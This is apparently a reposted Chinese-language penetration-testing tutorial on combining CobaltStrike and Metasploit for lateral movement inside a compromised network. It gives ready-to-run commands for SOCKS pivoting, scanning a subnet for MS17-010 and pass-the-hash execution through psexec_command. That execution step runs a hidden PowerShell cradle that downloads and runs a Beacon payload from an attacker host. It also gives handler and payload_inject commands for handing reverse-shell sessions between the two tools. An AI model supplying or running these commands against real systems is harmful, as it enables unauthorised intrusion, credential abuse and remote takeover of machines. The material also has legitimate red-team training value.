CobaltStrike與Metasploit聯動配合


利用CobaltStrike內置Socks功能

通過Beacon內置的Socks功能在VPS上開啟代理端口,打通目標內網通道,之后將本地Metasploit直接帶入目標內網,進行橫向滲透。

首先,到已控目標機的Beacon下將Socks代理開啟

右鍵->Pivoting->SOCKS Server

Launch

 

View -》Proxy Pivots

 

 Tunnel

 本地啟動metasploit,掛上代理,就可以對內網進行各種探測收集。

setg Proxies socks4/5:ip:port   #讓msf所有模塊的流量都通過此代理走。(setg全局設置)
setg ReverseAllowProxy true #允許反向代理,通過socks反彈shell,建立雙向通道。(探測可以不設置此項)

metasploit提供的各種探測、掃描模塊:

探測目標內網中存在MS17_010漏洞的主機,這也是內網拿主機權限利用方式之一,方法如下:

use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.219.0/24
set threads 100 #內網滲透時線程不要太高!
run

 

 利用MSF模塊上線Beacon shell

當通過CobaltStrike的Run mimikatz或其他方式抓取到目標機或其內網中某台Windows機器的本地管理員明文密碼或hash時,可以利用Metasploit下auxiliary/admin/smb/psexec_command模塊,直接上線指定目標機器的Beacon shell,也算是一種簡單的橫向方式。(前提是目標機器可出網

 先利用CobaltStrike生成上線Beacon的powershell

 

 

 本地啟動Metasploit,掛上代理,設置psexec_command模塊參數

setg Proxies socks4/5:ip:port
use auxiliary/admin/smb/psexec_command
set rhosts 192.168.219.0/24
set threads 10
set smbuser 98612
set smbpass 31d6cfe0d16ae931b73c59d7e0c089c0 #明文、密文均可
set command powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.219.137:81/a'))"   #上線CS的powershell
run

 CobaltStrike派生Metasploit

 當CobaltStrike獲得了一個上線機器,想把這個目標傳給Metasploit中的meterpreter,獲得一個session進行控制。在Metasploit執行以下命令:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp #不要用x64的payload
set LHOST 192.168.219.137
set LPORT 4444
run -j

 之后使用CobaltStrike創建一個windows/foreign/reverse_tcp的Listener。其中IP為Metasploit的監聽地址,端口為Metasploit所監聽的端口。

 然后選中計算機,右鍵->Spawn:選擇MSF的監聽器:

 這個時候可以看到,Metasploit上的監聽已經上線,現在可以對meterpreter獲得的session進行控制。

 Metasploit派生CobaltStrike

現在已經獲得了一個meterpreter的session,把session傳給CobaltStrike。

 在CobaltStrike中創建一個監聽者,和上一步類似,這里host需要修改為CobaltStrike客戶端IP,創建好之后便監聽8099端口,等待着被控機連接

 接下來,把meterpreter獲得的session轉交給CobaltStrike,在Metasploit執行以下命令:

meterpreter > background 
msf5 > use exploit/windows/local/payload_inject 	
msf5 > set payload windows/meterpreter/reverse_http
msf5 > set LHOST 192.168.43.170
msf5 > set LPORT 8099
msf5 > set DisablePayloadHandler true
msf5 > set session 1
msf5 > run

解釋一下這些參數。由於CobaltStrike的監聽器我們使用的是:

windows/beacon_http/reverse_http

所以我們的payload也要使用:

payload windows/meterpreter/reverse_http

設置本地監聽IP和端口:由於監聽器是CobaltStrike的,所以要設置成CobaltStrike機器的IP與端口。

默認情況下,payload_inject執行之后會在本地產生一個新的handler,由於我們已經有了一個,所以不需要在產生一個,這里我們設置:

set DisablePayloadHandler true

設置當前的session,執行run。

 此時目標機便已成功從CobaltStrike上線。

 

 

 

 

 

 

參考:

https://www.cnblogs.com/nongchaoer/p/12055317.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM